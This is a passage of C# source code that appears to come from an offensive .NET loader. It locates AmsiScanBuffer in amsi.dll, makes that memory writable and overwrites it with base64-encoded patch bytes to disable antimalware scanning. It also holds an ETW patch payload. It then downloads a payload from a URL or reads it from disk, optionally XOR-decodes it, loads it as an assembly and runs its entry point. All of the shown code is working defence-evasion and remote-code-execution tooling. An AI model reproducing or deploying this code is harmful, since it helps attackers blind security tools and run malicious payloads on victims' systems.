(int)fs.Length); 304 | } 305 | return buffer; 306 | 307 | } 308 | private static IntPtr getAMSILocation() 309 | { 310 | //GetProcAddress 311 | IntPtr pGetProcAddress = GetLibraryAddress("kernel32.dll", "GetProcAddress"); 312 | IntPtr pLoadLibrary = GetLibraryAddress("kernel32.dll", "LoadLibraryA"); 313 | 314 | GetProcAddress fGetProcAddress = (GetProcAddress)Marshal.GetDelegateForFunctionPointer(pGetProcAddress, typeof(GetProcAddress)); 315 | LoadLibrary fLoadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(pLoadLibrary, typeof(LoadLibrary)); 316 | 317 | return fGetProcAddress(fLoadLibrary("amsi.dll"), "AmsiScanBuffer"); 318 | } 319 | 320 | private static bool is64Bit() 321 | { 322 | if (IntPtr.Size == 4) 323 | return false; 324 | 325 | return true; 326 | } 327 | 328 | 329 | private static byte[] getETWPayload() 330 | { 331 | if (!is64Bit()) 332 | return Convert.FromBase64String("whQA"); 333 | return Convert.FromBase64String("ww=="); 334 | } 335 | 336 | private static byte[] getAMSIPayload() 337 | { 338 | if (!is64Bit()) 339 | return Convert.FromBase64String("uFcAB4DCGAA="); 340 | return Convert.FromBase64String("uFcAB4DD"); 341 | } 342 | 343 | private static Type junkFunction(MethodInfo methodInfo) 344 | { 345 | return methodInfo.ReflectedType; 346 | } 347 | private static object invokeCSharpMethod(MethodInfo methodInfo) 348 | { 349 | if (junkFunction(methodInfo) == methodInfo.ReflectedType) 350 | methodInfo.Invoke(null, globalArgs); 351 | Console.ReadLine(); 352 | return globalArgs[0]; 353 | } 354 | 355 | private static byte[] downloadURL(string url) 356 | { 357 | HttpWebRequest myRequest = (HttpWebRequest)WebRequest.Create(url); 358 | myRequest.Proxy.Credentials = CredentialCache.DefaultCredentials; 359 | myRequest.Method = "GET"; 360 | WebResponse myResponse = myRequest.GetResponse(); 361 | MemoryStream ms = new MemoryStream(); 362 | myResponse.GetResponseStream().CopyTo(ms); 363 | return ms.ToArray(); 364 | } 365 | 366 | public static int setProtocolTLS(int secProt) 367 | { 368 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)secProt; 369 | return secProt; 370 | } 371 | private static MethodInfo getEntryPoint(Assembly asm) 372 | { 373 | 374 | return asm.EntryPoint; 375 | } 376 | 377 | private static void TriggerPayload(string payloadPathOrURL, string[] inputArgs, bool xorEncoded, string xorKey, int setProtType = 0) 378 | { 379 | setProtocolTLS(setProtType); 380 | 381 | if (!string.IsNullOrEmpty(string.Join(" ", inputArgs))) 382 | Console.WriteLine("[+] URL/PATH : " + payloadPathOrURL + " Arguments : " + string.Join(" ", inputArgs)); 383 | else 384 | { 385 | Console.WriteLine("[+] URL/PATH : " + payloadPathOrURL + " Arguments : " + string.Join(" ", inputArgs)); 386 | } 387 | globalArgs = new object[] { inputArgs }; 388 | 389 | if (xorEncoded && payloadPathOrURL.ToLower().StartsWith("http")) 390 | { 391 | 392 | encDeploy(downloadURL(payloadPathOrURL), xorKey); 393 | } 394 | else if (!xorEncoded && payloadPathOrURL.ToLower().StartsWith("http")) 395 | { 396 | 397 | unEncDeploy(downloadURL(payloadPathOrURL)); 398 | } 399 | else if (!xorEncoded && !payloadPathOrURL.ToLower().StartsWith("http")) 400 | unEncDeploy(readLocalFilePath(payloadPathOrURL, FileMode.Open)); 401 | else 402 | encDeploy(readLocalFilePath(payloadPathOrURL, FileMode.Open), xorKey); 403 | 404 | } 405 | 406 | private static void encDeploy(byte[] data, string xorKey) 407 | { 408 | 409 | invokeCSharpMethod(getEntryPoint(loadASM(xorEncDec(data, xorKey)))); 410 | 411 | } 412 | 413 | private static void unEncDeploy(byte[] data) 414 | { 415 | 416 | invokeCSharpMethod(getEntryPoint(loadASM(data))); 417 | 418 | } 419 | 420 | private static IntPtr unProtect(IntPtr amsiLibPtr) 421 | { 422 | 423 | IntPtr pVirtualProtect = GetLibraryAddress("kernel32.dll", "VirtualProtect"); 424 | 425 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect)); 426 | 427 | uint newMemSpaceProtection = 0; 428 | if (fVirtualProtect(amsiLibPtr, (UIntPtr)getAMSIPayload().Length, 0x40, out newMemSpaceProtection)) 429 | { 430 | return amsiLibPtr; 431 | } 432 | else 433 | { 434 | return (IntPtr)0; 435 | } 436 | 437 | } 438 | private static void PathAMSI() 439 | { 440 | 441 | IntPtr amsiLibPtr = unProtect(getAMSILocation()); 442 | if (amsiLibPtr != (IntPtr)0) 443 | { 444 | Marshal.Copy(getAMSIPayload(), 0, amsiLibPtr, getAMSIPayload().Length); 445 | Console.WriteLine("[+] Successfully patched AMSI!"); 446 | } 447 | else 448 | { 449 | Console.WriteLine("[!] Patching AMSI FAILED"); 450 | } 451 | 452 | } 453 | 454 | } 455 | --------------------------------------------------------------------------------